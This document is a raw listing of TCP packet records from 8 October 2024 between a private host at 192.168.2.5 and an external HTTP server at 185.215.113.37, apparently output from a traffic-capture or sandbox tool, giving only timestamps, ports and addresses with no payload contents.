Oct 8, 2024 11:18:21.766926050 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.766937017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.766947985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.766964912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.766974926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.766984940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.766992092 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.766999006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.767023087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.767041922 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.767465115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.767477989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.767489910 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.767501116 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.767504930 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.767513037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.767520905 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.767527103 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.767539024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.767539024 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.767568111 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.767580032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.768160105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.768172026 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.768184900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.768208981 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.768233061 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.768241882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.768254995 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.768265009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.768277884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.768287897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.768289089 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.768317938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.768331051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.769001961 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.769052982 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.769161940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.769174099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.769185066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.769196987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.769207001 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.769207001 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.769221067 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.769232988 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.769237995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.769253969 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.769265890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.769871950 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.769978046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.769989014 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.769999027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.770009041 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.770020008 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.770030975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.770041943 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.770137072 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.770729065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.771001101 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.898848057 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.898883104 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.898933887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.898968935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.898999929 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899015903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899035931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899053097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899053097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899070978 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899075031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899081945 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899127960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899169922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899202108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899219036 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899235010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899255037 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899283886 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899298906 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899350882 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899362087 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899416924 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899421930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899456978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899477005 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899490118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899507046 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899534941 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899626970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899673939 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899682045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899717093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899729013 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899749994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899763107 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899784088 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899796009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899817944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899830103 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899889946 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.899939060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.899986029 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.900058031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900088072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900105000 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.900130987 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.900139093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900185108 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.900188923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900222063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900235891 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.900255919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900268078 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.900290966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900305033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.900331974 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900343895 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.900366068 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900377035 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.900410891 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.900687933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900722027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900734901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.900762081 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900763988 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.900799036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900811911 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.900832891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900845051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.900866032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900877953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.900899887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900912046 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.900933981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900947094 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.900969028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.900979042 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.901015997 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.901201010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.901246071 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.901252985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.901297092 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.901314974 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.901359081 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.901364088 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.901397943 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.901408911 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.901432037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.901442051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.901465893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.901475906 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.901499987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.901511908 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.901535034 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.901542902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.901568890 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.901581049 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.901603937 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.901613951 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.901638985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.901650906 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.901674986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.901684046 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.901721001 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.903877974 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.903940916 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.903981924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904016972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904031992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904061079 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904155970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904190063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904202938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904223919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904232979 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904258966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904268980 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904299021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904306889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904331923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904342890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904366970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904376984 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904401064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904413939 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904434919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904444933 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904468060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904479980 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904501915 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904514074 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904536009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904546976 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904570103 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904577017 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904613972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904838085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904870987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904886007 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904905081 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.904916048 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904951096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.904969931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.905014038 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.905061007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.905095100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.905107975 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.905128956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.905142069 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.905162096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.905173063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.905198097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.905213118 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.905241966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.905440092 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.905472994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.905487061 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.905508041 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.905517101 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.905541897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.905551910 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.905575991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.905586004 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.905611038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.905622005 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.905647039 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.905656099 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.905690908 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.905910015 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.905942917 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.905955076 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.905977011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.905986071 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.906011105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.906021118 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.906045914 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.906060934 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.906080008 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.906091928 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.906125069 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.991446018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.991501093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.991503000 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.991532087 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.991545916 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.991575003 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.991583109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.991616964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.991628885 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.991652966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.991660118 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.991697073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.034768105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.034789085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.034805059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.034816027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.034818888 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.034827948 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.034837008 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.034841061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.034852028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.034856081 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.034862995 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.034881115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.034888983 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.034893036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.034897089 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.034904957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.034915924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.034923077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.034925938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.034935951 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.034945965 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.034954071 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.034957886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.034969091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.034976006 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.034980059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.034991980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035003901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035003901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035016060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035027027 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035044909 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035053015 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035063982 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035065889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035089970 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035098076 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035130024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035140038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035150051 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035161972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035171032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035172939 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035187960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035197973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035213947 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035310030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035320997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035331964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035341978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035345078 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035353899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035365105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035367012 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035376072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035378933 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035397053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035398006 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035409927 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035413980 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035428047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035439968 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035442114 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035453081 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035470963 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035476923 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035501003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035517931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035527945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035538912 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035541058 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035551071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035552025 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035563946 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035563946 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035578966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035598993 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035610914 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035653114 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035693884 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035712957 CEST	80	49706	185.215.113.37	192.168.2.5
